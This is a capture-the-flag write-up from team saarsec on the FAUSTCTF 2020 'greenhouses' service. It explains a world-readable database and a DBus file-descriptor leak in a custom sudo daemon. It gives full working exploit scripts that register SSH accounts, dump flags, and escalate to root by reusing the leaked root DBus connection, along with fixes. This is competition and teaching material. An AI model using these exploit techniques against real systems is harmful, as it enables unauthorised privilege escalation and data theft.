Saarsec

saarsec

Schwenk and pwn

FAUSTCTF 2020 - greenhouses

Greenhouses is a Python/Bash service where Martians can plant seeds in a greenhouse and watch them grow. The service is a systemd nspawn container with a SSH server running on port 2222. Accounts of this service are just plain Unix accounts in this container. Users access the functionality over a SSH connection, where commands are exposed in /opt/bin.

The service contains two vulnerabilities: wrong permissions set on the database file, and a DBus file descriptor leakage resulting in privilege escalation attacks on a custom sudo implementation.

Service Overview

Registration is handled by a special SSH account gate that allows login without keys and password. When connecting with this account, the script /opt/bin/register.sh is invoked and creates a new account for a given public key (type ed25519). The username is determined by the public key. After registration, the user gets access to a full SSH shell with its username and private key.

The service itself consists of three commands: sow.py, show.py and water.py (all in /opt/gh/).

All commands work only if invoked as user greenhouses. To give other users access, a custom sudo implementation is used that permits only these commands to be invoked as user greenhouses. The name of the invoking user is passed as an environment variable (and used to determine greenhouse ownership in the python scripts). Sudo is implemented with DBus: A “sudo daemon” (sudod) waits for incoming dbus rpc calls from a “sudo client” (sudoc). If the user running sudoc is permitted to run the requested command as another user, sudod forks and invokes the requested command. All service actions are invoked with a wrapper to use this sudo mechanism.

Summary: Available commands

All commands work with ed25519 keypairs: ssh-keygen -t ed25519

Vulnerability 1: Too loose permissions on the database

The first vulnerability was rather simple: The database /var/greenhouses/greenhouses.db was world-readable. We could simply create an account and use the SSH shell to get all flags. After registration we invoke strings /var/greenhouses/greenhouses.db to get all flags - which works even if the database layout has changed.

The final exploit is:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import os
import random
import re
import subprocess
import sys


def gen_key(path: str):
    privkey = path + '/key' + str(random.randint(0, 100000000000000000000))
    subprocess.check_call(['ssh-keygen', '-t', 'ed25519', '-f', privkey, '-N', ''])
    with open(privkey + '.pub', 'r') as f:
        pubkey = f.read()
    return privkey, pubkey


def exploit(ip):
    privkey, pubkey = gen_key(os.environ['HOME'] + '/.ssh')
    try:
        # register
        cmd = ['timeout', '10', 'ssh', '-o', 'StrictHostKeyChecking=no', '-p', '2222', '-T', f'gate@{ip}', pubkey.split(' ')[1].strip()]
        p = subprocess.run(cmd, timeout=12, stderr=subprocess.PIPE, stdout=subprocess.PIPE)
        stderr = p.stderr.decode() + p.stdout.decode()
        print('OUTPUT:\n' + stderr)
        username = re.findall(r"user[a-f0-9]{20,33}", stderr)[0]
        print(f'username = {username}')

        # exploit
        payload = ['strings', '/var/greenhouses/greenhouses.db']
        cmd = ['timeout', '10', 'ssh', '-o', 'StrictHostKeyChecking=no', '-i', privkey, '-p', '2222', '-T', f'{username}@{ip}'] + payload
        subprocess.run(cmd, timeout=12)
    finally:
        os.remove(privkey)
        os.remove(privkey + '.pub')


if __name__ == '__main__':
    exploit(sys.argv[1])

Fixing this vulnerability is straight-forward: chmod 0660 /var/greenhouses/greenhouses.db

While we were first to exploit this vulnerability, we had some problems with exploitation over the game. First we used a fixed key (and therefore user account) to get flags (which is easier to block). Second we had problems with our exploitation system and the SSH client itself. Third we found that connections to this service were rather unstable. After all we scored only half the flags other teams had, even through these teams did not exploit more vulnerabilities.

Vulnerability 2: Privilege escalation with dbus

The service contained a second vulnerability, which was more complicated, but gives root access (inside the container). In a first step, we exploit a weakness in the sudo daemon to leak the file descriptor of its dbus connection. In a second step, we use this leaked file descriptor to confess the sudo daemon that root initiated a sudo command. Thus we can execute arbitrary commands as root.

The sudo daemon

The sudo daemon is a Python script that exposes a method for inter-program calls over dbus: createSession. A call to this method creates a new instance of the sudo daemon that acts as session “guard”, accepting further dbus calls. Each session guard remembers unix user and command it should execute, but accepts further configuration calls before doing so.

The guard instance exposes these important calls: connectFD, closeFD, dupFD, chdirFD, setEnv, run. The first three are used to connect stdin, stdout and stderr from the sudo client to the guard instance (connectFD replicates a file descriptor over dbus, dupFD enforces a number for it, like the system call dup2). chdirFD and setEnv replicate the environment of the sudo client, runfinally forks and executes the requested command.

Step 1: Leaking dbus connections

Given this interface, we have some power over the file descriptors of the guard process before it forks, so we suspected a bug there early in the game. We checked the available file descriptors of the sudo daemon: We add os.system(f'ls -l /proc/{os.getpid()}/fd') to the beginning of the guard code and get output like this:

lrwx------ 1 root root 64 Jul 20 00:00 0 -> /dev/pts/0
lrwx------ 1 root root 64 Jul 20 00:00 1 -> /dev/pts/0
lrwx------ 1 root root 64 Jul 20 00:00 2 -> /dev/pts/0
lrwx------ 1 root root 64 Jul 20 00:00 3 -> 'anon_inode:[eventfd]'
lrwx------ 1 root root 64 Jul 20 00:00 4 -> 'socket:[29532]'

The interesting one is file descriptor 4 - it refers to a connection with the dbus daemon. Furthermore, this connection has been initiated while the program was still root, so dbus thinks that this connection still belongs root. We can leak this file descriptor quite simple: we create our own copy of the sudo client and add a call peer.dupFD(4, 666) after the other dup calls. We use this modified client to run another process as our current (non-privileged) user (which is allowed by the sudo permissions):

$ ./step1.py -u $(whoami) ls -l /proc/self/fd
lr-x------ 1 user56781740590e6dc36e5be303f166 users 64 Jul 20 00:00 0 -> pipe:[29529]
l-wx------ 1 user56781740590e6dc36e5be303f166 users 64 Jul 20 00:00 1 -> pipe:[29530]
l-wx------ 1 user56781740590e6dc36e5be303f166 users 64 Jul 20 00:00 2 -> pipe:[29531]
lrwx------ 1 user56781740590e6dc36e5be303f166 users 64 Jul 20 00:00 666 -> socket:[29532]

At this point we got stuck during the competition. Afterwards we had a little chat with the challenge author who confirmed our findings and gave some useful hints about exploitation.

Step 2: Exploiting a leaked dbus connection

With this dbus connection at file descriptor 666, we can trick the sudo daemon again. When creating a new session sudod asks dbus for the initiator of a connection and uses this to determine the permissions of that session. If we use the leaked dbus connection instead, sudod thinks we are root and allows running commands as root (“ourselves”).

There are two possible ways to exploit this: we could either manually assemble dbus messages and send them to the leaked socket, or we could trick the dbus Python api into using this connection. We go for the second way, it’s actually easy:

Again we create a copy of the sudo client and modify it: After the client has created a new dbus connection (system_bus = dbus.SystemBus()) we replace the file descriptor of that new connection (3) with the leaked file descriptor: os.dup2(666, 3). We continue using the API as intended - except that another dbus connection is used to deliver the commands.

There was one additional issue: when our second script is started, the actual guard instance is still using the dbus connection (because run is called). We evade this with a fork and sleep: The started process terminates, causing the guard instance to terminate. The fork waits until the guard is done and then continues using the dbus connection.

if os.fork() != 0:
    sys.exit(0)
time.sleep(0.1)

Using that dbus connection finally gives us the ability to run commands as root. The final execution path is:

  1. User runs step1.py
  2. step1.py requests sudod to execute step2.py as user, but duplicates dbus connection
  3. sudod forks a guard which runs step2.py as user
  4. step2.py has access to the guards dbus connection and uses this connection to request sudod to execute our payload as root
  5. sudod forks a guard which believes that the request was issued by a previous guard, which was root
  6. The second guard executes our payload as root
  7. Flags!

Exploit Code

The final exploit consists of three files. step1.py and step2.py are slightly modified versions of sudoc.py, changes have been marked.

step1.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#!/usr/bin/env python3
import getpass
import os
import dbus
import sys
import signal

from dbus.types import UnixFd
from dbus.mainloop.glib import DBusGMainLoop
from gi.repository import GLib

import pwd, grp

SERVICE_NAME = 'net.faustctf.SuDoD'
SERVICE_INTERFACE = SERVICE_NAME
OBJECT_PATH = "/" + SERVICE_NAME.replace(".", "/")
GUARD_INTERFACE = SERVICE_INTERFACE+".Guard"

def getClient(system_bus):
    o = system_bus.get_object(SERVICE_NAME, OBJECT_PATH)
    i = dbus.Interface(o, SERVICE_INTERFACE)
    return i

as_user = getpass.getuser()
as_group = grp.getgrgid(pwd.getpwnam(as_user).pw_gid).gr_name
command_argv = ['./step2.py'] + sys.argv[1:]  # Attack: prepend step2.py

DBusGMainLoop(set_as_default=True)

system_bus = dbus.SystemBus()
c = getClient(system_bus)

cwdfd = os.open(".", os.O_RDONLY)
dbus_cwd = UnixFd(cwdfd)
os.close(cwdfd)
loop = GLib.MainLoop()

peer = c.createSession(command_argv, as_user, as_group)
peer = system_bus.get_object(peer, "/guard")
peer = dbus.Interface(peer, GUARD_INTERFACE)

peer.simpleAuth()
peer.chdirFD(dbus_cwd)

for (key, val) in os.environ.items():
    try:
        peer.setEnv(key, val)
    except:
        pass

# ATTACK: duplicate FD
peer.dupFD(4, 666)

for fd in range(0, 3):
    x = peer.connectFD(UnixFd(fd))
    peer.dupFD(x, fd)
    peer.closeFD(x)


def on_exit(status):
    # relay exit info by dying the same way
    if os.WIFEXITED(status):
        os._exit(os.WEXITSTATUS(status))
    if os.WIFSIGNALED(status):
        sig = os.WTERMSIG(status)
        try:
            signal.signal(sig, signal.SIG_DFL)
        except OSError: # KILL or STOP, they work anyways
            pass
        os.kill(os.getpid(), os.WTERMSIG(status))
    os.exit(1)

peer.connect_to_signal("exited", on_exit)

peer.run()
loop.run()

step2.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#!/usr/bin/env python3
import os
import time

import dbus
import sys
import signal

from dbus.types import UnixFd
from dbus.mainloop.glib import DBusGMainLoop
from gi.repository import GLib

import pwd, grp

SERVICE_NAME = 'net.faustctf.SuDoD'
SERVICE_INTERFACE = SERVICE_NAME
OBJECT_PATH = "/" + SERVICE_NAME.replace(".", "/")
GUARD_INTERFACE = SERVICE_INTERFACE+".Guard"

def getClient(system_bus):
    o = system_bus.get_object(SERVICE_NAME, OBJECT_PATH)
    i = dbus.Interface(o, SERVICE_INTERFACE)
    return i

as_user = "root"
as_group = grp.getgrgid(pwd.getpwnam(as_user).pw_gid).gr_name
command_argv = sys.argv[1:]
DBusGMainLoop(set_as_default=True)
system_bus = dbus.SystemBus()

# Attack: Terminate main process, so that "run" returns (and the bus is free again)
if os.fork() != 0:
    sys.exit(0)
# Wait until "run" has returned
time.sleep(0.1)
# Switch our "system_bus" instance to the leaked FD (opened by sudod as root)
os.dup2(666, 3)
# Continue with standard sudoc things

c = getClient(system_bus)
cwdfd = os.open(".", os.O_RDONLY)
dbus_cwd = UnixFd(cwdfd)
os.close(cwdfd)

loop = GLib.MainLoop()

peer = c.createSession(command_argv, as_user, as_group)
peer = system_bus.get_object(peer, "/guard")
peer = dbus.Interface(peer, GUARD_INTERFACE)

peer.simpleAuth()
peer.chdirFD(dbus_cwd)

for (key, val) in os.environ.items():
    try:
        peer.setEnv(key, val)
    except:
        pass

for fd in range(0, 3):
    x = peer.connectFD(UnixFd(fd))
    peer.dupFD(x, fd)
    peer.closeFD(x)

def on_exit(status):
    # relay exit info by dying the same way
    if os.WIFEXITED(status):
        os._exit(os.WEXITSTATUS(status))
    if os.WIFSIGNALED(status):
        sig = os.WTERMSIG(status)
        try:
            signal.signal(sig, signal.SIG_DFL)
        except OSError: # KILL or STOP, they work anyways
            pass
        os.kill(os.getpid(), os.WTERMSIG(status))
    os.exit(1)

peer.connect_to_signal("exited", on_exit)

peer.run()
loop.run()

exploit.py: (create account, upload the two other files and execute payload)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import os
import random
import re
import subprocess
import sys


def gen_key(path: str):
    privkey = path + '/key' + str(random.randint(0, 100000000000000000000))
    subprocess.check_call(['ssh-keygen', '-t', 'ed25519', '-f', privkey, '-N', ''])
    with open(privkey + '.pub', 'r') as f:
        pubkey = f.read()
    return privkey, pubkey


def exploit(ip):
    privkey, pubkey = gen_key(os.environ['HOME'] + '/.ssh')
    try:
        # register
        cmd = ['timeout', '10', 'ssh', '-o', 'StrictHostKeyChecking=no', '-p', '2222', '-T', f'gate@{ip}', pubkey.split(' ')[1].strip()]
        p = subprocess.run(cmd, timeout=12, stderr=subprocess.PIPE, stdout=subprocess.PIPE)
        stderr = p.stderr.decode() + p.stdout.decode()
        print('OUTPUT:\n' + stderr)
        username = re.findall(r"user[a-f0-9]{20,33}", stderr)[0]
        print(f'username = {username}')

        # upload files
        cmd = ['timeout', '5', 'scp', '-o', 'StrictHostKeyChecking=no', '-i', privkey, '-P', '2222', 'step1.py', 'step2.py', f'{username}@[{ip}]:~/']
        subprocess.run(cmd, timeout=7)

        # run
        payload = ['python3', '-u', 'step1.py', 'strings', '/var/greenhouses/greenhouses.db', ';', 'sleep 8']
        cmd = ['timeout', '10', 'ssh', '-o', 'StrictHostKeyChecking=no', '-i', privkey, '-p', '2222', '-T', f'{username}@{ip}'] + payload
        subprocess.run(cmd, timeout=12)
    finally:
        os.remove(privkey)
        os.remove(privkey + '.pub')


if __name__ == '__main__':
    exploit(sys.argv[1])

Fixes

This issue could be fixed by simply preventing dupFD calls with file descriptor number 4. A more advanced fix could enforce that dupFD(old, new) only accepts old file descriptors that have been created by connectFD before, and new file descriptors must be 0, 1 or 2.

Further bugs

Wrong service file configuration

In /etc/systemd/system/sudod.service, the BusName is set incorrectly, e.g. BusName=org.freedesktop.hostname1. Setting the correct bus name (net.faustctf.SuDoD) prevents the sudo daemon from constantly restarting.

Summary

Overall this was a nice challenge covering aspects of Linux i’ve never explored so far (dbus). While it was hard to get used to the challenge structure, the second exploit was really worth it. While we managed to get first blood for this challenge, our exploits were too unreliable to get far, other teams have overtaken us in terms of captured flags.